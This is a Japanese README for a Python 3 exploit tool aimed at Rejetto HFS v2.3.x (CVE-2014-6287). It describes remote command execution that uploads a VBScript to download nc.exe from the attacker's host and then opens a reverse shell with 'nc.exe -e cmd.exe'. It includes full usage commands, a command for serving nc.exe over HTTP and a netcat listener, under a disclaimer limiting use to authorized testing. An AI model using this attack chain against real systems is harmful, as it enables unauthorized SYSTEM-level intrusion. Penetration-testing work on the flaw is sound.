HFS リモートコマンド実行エクスプロイト (CVE-2014-6287)

これは、CVE-2014-6287 として特定されている脆弱性を利用した、Rejetto HTTP File Server (HFS) v2.3.x を標的とする古典的なリモートコマンド実行 (RCE) エクスプロイトの Python 3 による書き直しです。

当初は Avinash Kumar Thapa（別名 "-Acid"） によって発見されました。このバージョンは、移植性と使いやすさを向上させ、完全なパラメータ化と最新環境との互換性を提供します。

⚠️ 免責事項

このツールは、教育および許可されたペネトレーションテストのみを目的として提供されています。所有していない、またはテストする明示的な許可を得ていないシステムに対する不正使用は、違法かつ非倫理的です。

📌 エクスプロイトの詳細

• 脆弱性: Rejetto HFS v2.3.x - リモートコマンド実行
• CVE: CVE-2014-6287
• 影響: システム権限でのリモートコード実行
• 要件: 標的はスクリプト実行が有効な脆弱なバージョンの HFS を実行している必要があります。

🚀 特徴

• Python 3 と完全互換
• CLI ですべての主要パラメータを受け付け:
  • ターゲット IP とポート
  • ローカル IP (攻撃者)
  • リバースシェル用のリスニングポート
  • nc.exe をホストするために使用するポート
• ハードコードされた値なし
• VBScript を使用した古典的な nc.exe リバースシェル配信
• エクスプロイトの流れ:
  1. nc.exe をダウンロードする VBScript をアップロード
  2. ターゲット上で VBScript を実行
  3. nc.exe -e cmd.exe を実行してリバースシェルを確立

🛠️ 使用方法

python3 exploit.py <TARGET_IP> <TARGET_PORT> <LOCAL_IP> <LISTEN_LOCAL_PORT> <NC_DOWNLOAD_PORT>

Example:
python3 exploit.py 192.168.1.10 80 192.168.1.5 4444 8000

Requirements:
  - HTTP server serving nc.exe:
      python3 -m http.server 8000
  - Listener:
      nc -lvnp 4444